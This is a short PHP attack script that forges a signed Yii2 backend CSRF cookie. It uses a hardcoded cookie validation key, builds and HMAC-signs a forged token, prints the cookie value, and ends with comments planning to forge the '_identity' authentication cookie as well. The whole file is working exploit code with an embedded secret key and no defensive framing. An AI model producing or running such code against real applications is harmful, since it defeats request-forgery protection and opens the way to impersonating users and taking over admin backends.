<?php
// Forge CSRF cookie for backend

$key = 'pjZl9KWdjpwwLH4fWAJ4FecTSSpZe7J5'; // Backend key
$csrfCookieName = '_csrf-backend';
$csrfToken = 'MYFORGEDCSRFTOKEN12345678901234'; // 32 chars like Yii generates

// Cookie data format: [name, value]
$data = serialize([$csrfCookieName, $csrfToken]);

// Sign with HMAC-SHA256
$hash = hash_hmac('sha256', $data, $key, false);

// Final cookie
$cookie = $hash . $data;

echo "=== FORGED CSRF COOKIE ===\n";
echo "Cookie Name: $csrfCookieName\n";
echo "CSRF Token (to use in form): $csrfToken\n";
echo "Cookie Value: " . urlencode($cookie) . "\n\n";

// Now let's also check if we can forge session
// Yii2 session is handled by PHP, not using cookieValidationKey
// But _identity cookie uses the key!